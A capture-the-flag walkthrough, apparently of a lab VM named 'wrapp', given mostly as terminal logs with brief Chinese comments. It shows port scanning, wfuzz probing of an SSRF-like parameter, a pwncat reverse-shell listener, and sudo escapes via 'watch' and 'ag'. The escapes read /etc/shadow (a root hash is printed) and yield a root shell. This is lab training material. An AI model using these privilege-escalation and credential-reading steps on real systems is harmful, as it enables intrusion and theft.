❯ sudo arp-scan -l [sudo] password for Pepster: Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.60.1 00:50:56:c0:00:08 VMware, Inc. 192.168.60.2 00:50:56:e3:f6:57 VMware, Inc. 192.168.60.215 08:00:27:0b:12:8a PCS Systemtechnik GmbH 192.168.60.254 00:50:56:e5:e5:eb VMware, Inc.
4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.096 seconds (122.14 hosts/sec). 4 responded ❯ export ip=192.168.60.215 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- Scanning ports faster than you can say 'SYN ACK' [~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.215:22 Open 192.168.60.215:80 [~] Starting Script(s) [~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-27 20:54 CST Initiating ARP Ping Scan at 20:54 Scanning 192.168.60.215 [1 port] Completed ARP Ping Scan at 20:54, 0.08s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 20:54 Completed Parallel DNS resolution of 1 host. at 20:54, 0.00s elapsed DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 20:54 Scanning 192.168.60.215 [2 ports] Discovered open port 22/tcp on 192.168.60.215 Discovered open port 80/tcp on 192.168.60.215 Completed SYN Stealth Scan at 20:54, 0.04s elapsed (2 total ports) Nmap scan report for 192.168.60.215 Host is up, received arp-response (0.00034s latency). Scanned at 2025-02-27 20:54:14 CST for 0s
PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 MAC Address: 08:00:27:0B:12:8A (Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.30 seconds Raw packets sent: 3 (116B) | Rcvd: 3 (116B)
❯ wfuzz -c -u "http://192.168.60.215/advanced-search/path.php?path=127.0.0.1:FUZZ" -z range,1-65535 --hw 0 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://192.168.60.215/advanced-search/path.php?path=127.0.0.1:FUZZ Total requests: 65535 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000022: 200 2 L 4 W 60 Ch "22" 000000080: 200 1 L 2 W 20 Ch "80" 000065000: 200 29 L 211 W 1895 Ch "65000"
<p>If you're seeing this page via a web browser, it means you've setup Tomcat successfully. Congratulations!</p>
<p>This is the default Tomcat home page. It can be found on the local filesystem at: <code>/var/lib/tomcat9/webapps/ROOT/index.html</code></p>
<p>Tomcat veterans might be pleased to learn that this system instance of Tomcat is installed with <code>CATALINA_HOME</code> in <code>/usr/share/tomcat9</code> and <code>CATALINA_BASE</code> in <code>/var/lib/tomcat9</code>, following the rules from <code>/usr/share/doc/tomcat9-common/RUNNING.txt.gz</code>.</p>
<p>You might consider installing the following packages, if you haven't already done so:</p> <p><b>tomcat9-docs</b>: This package installs a web application that allows to browse the Tomcat 9 documentation locally. Once installed, you can access it by clicking <a href="docs/">here</a>.</p> <p><b>tomcat9-examples</b>: This package installs a web application that allows to access the Tomcat 9 Servlet and JSP examples. Once installed, you can access it by clicking <a href="examples/">here</a>.</p> <p><b>tomcat9-admin</b>: This package installs two web applications that can help managing this Tomcat instance. Once installed, you can access the <a href="manager/html">manager webapp</a> and the <a href="host-manager/html">host-manager webapp</a>.</p> <p>NOTE: For security reasons, using the manager webapp is restricted to users with role "manager-gui". The host-manager webapp is restricted to users with role "admin-gui". Users are defined in <code>/etc/tomcat9/tomcat-users.xml</code>.</p> </body> </html>
❯ wfuzz -c -u "http://192.168.60.215/advanced-search/path.php?path=127.0.0.1:65000/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt --hw 48 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://192.168.60.215/advanced-search/path.php?path=127.0.0.1:65000/FUZZ Total requests: 207643 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000004575: 200 0 L 0 W 0 Ch "manager" Total time: 123.0121 Processed Requests: 10644 Filtered Requests: 10628 Requests/sec.: 86.52805
❯ ssh edward@$ip The authenticity of host '192.168.60.215 (192.168.60.215)' can't be established. ED25519 key fingerprint is SHA256:hdzcJbUQtwBTuPptVB40sb4fheVL1kIy30wCTBBU3a4. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.60.215' (ED25519) to the list of known hosts. [email protected]'s password: Linux wrapp 4.19.0-23-amd64 #1 SMP Debian 4.19.269-1 (2022-12-20) x86_64 edward@wrapp:~$ cat user.txt c83fe451ef30becd77fc5ba0be044cdf
❯ pwncat-cs -lp 4444 [22:00:01] Welcome to pwncat 🐈! __main__.py:164 [22:00:30] received connection from 192.168.60.215:45922 bind.py:84 [22:00:46] 192.168.60.215:45922: registered new host w/ db manager.py:957 (local) pwncat$ (remote) www-data@wrapp:/var/www/html/advanced-search$ sudo -l sudo: unable to resolve host wrapp: Name or service not known Matching Defaults entries for www-data on wrapp: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on wrapp: (henry) NOPASSWD: /usr/bin/watch (remote) www-data@wrapp:/var/www/html/advanced-search$ sudo -u henry /usr/bin/watch -x sh -c 'reset; exec sh 1>&0 2>&0' sudo: unable to resolve host wrapp: Name or service not known henry@wrapp:/var/www/html/advanced-search$ sudo -l sudo: unable to resolve host wrapp: Name or service not known Matching Defaults entries for henry on wrapp: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on wrapp: (root) NOPASSWD: /usr/bin/ag
henry@wrapp:/var/www/html/advanced-search$ sudo /usr/bin/ag -A 10 root /etc/shadow sudo: unable to resolve host wrapp: Name or service not known 1:root:$6$y1FOTyQcKrevvFd5$3KiZpinnULXo5m/MEItTo8.o99Ck.cN8RKA2cNClGnY/LtSSuNgIg31TUAcxZyHwh0kzm5x.UoIW7sLGly4m30:19468:0:99999:7::: 2-daemon:*:18835:0:99999:7::: 3-bin:*:18835:0:99999:7::: 4-sys:*:18835:0:99999:7::: 5-sync:*:18835:0:99999:7::: 6-games:*:18835:0:99999:7::: 7-man:*:18835:0:99999:7::: 8-lp:*:18835:0:99999:7::: 9-mail:*:18835:0:99999:7::: 10-news:*:18835:0:99999:7::: 11-uucp:*:18835:0:99999:7:::
那利用通配符直接读root flag了
1 2 3 4 5
henry@wrapp:/var/www/html/advanced-search$ sudo /usr/bin/ag -A 10 ".*" /root/root.txt sudo: unable to resolve host wrapp: Name or service not known 1:64e6665993d04ec49cb88ffa7e6df4eb 2-
可以通过参数--pager指定分页程序
这里可以直接执行命令
1 2 3 4 5 6 7 8 9 10 11
henry@wrapp:/var/www/html/advanced-search$ stty: 'standard input': Inappropriate ioctl for device hostname: Name or service not known bash: line 12: ifconfig: command not found -------------------------------------------- #监听端口 ❯ pwncat-cs -lp 4444 (local) pwncat$ (remote) root@wrapp:/var/www/html/advanced-search# id uid=0(root) gid=0(root) groups=0(root) (remote) root@wrapp:/var/www/html/advanced-search# cat /root/root.txt 64e6665993d04ec49cb88ffa7e6df4eb
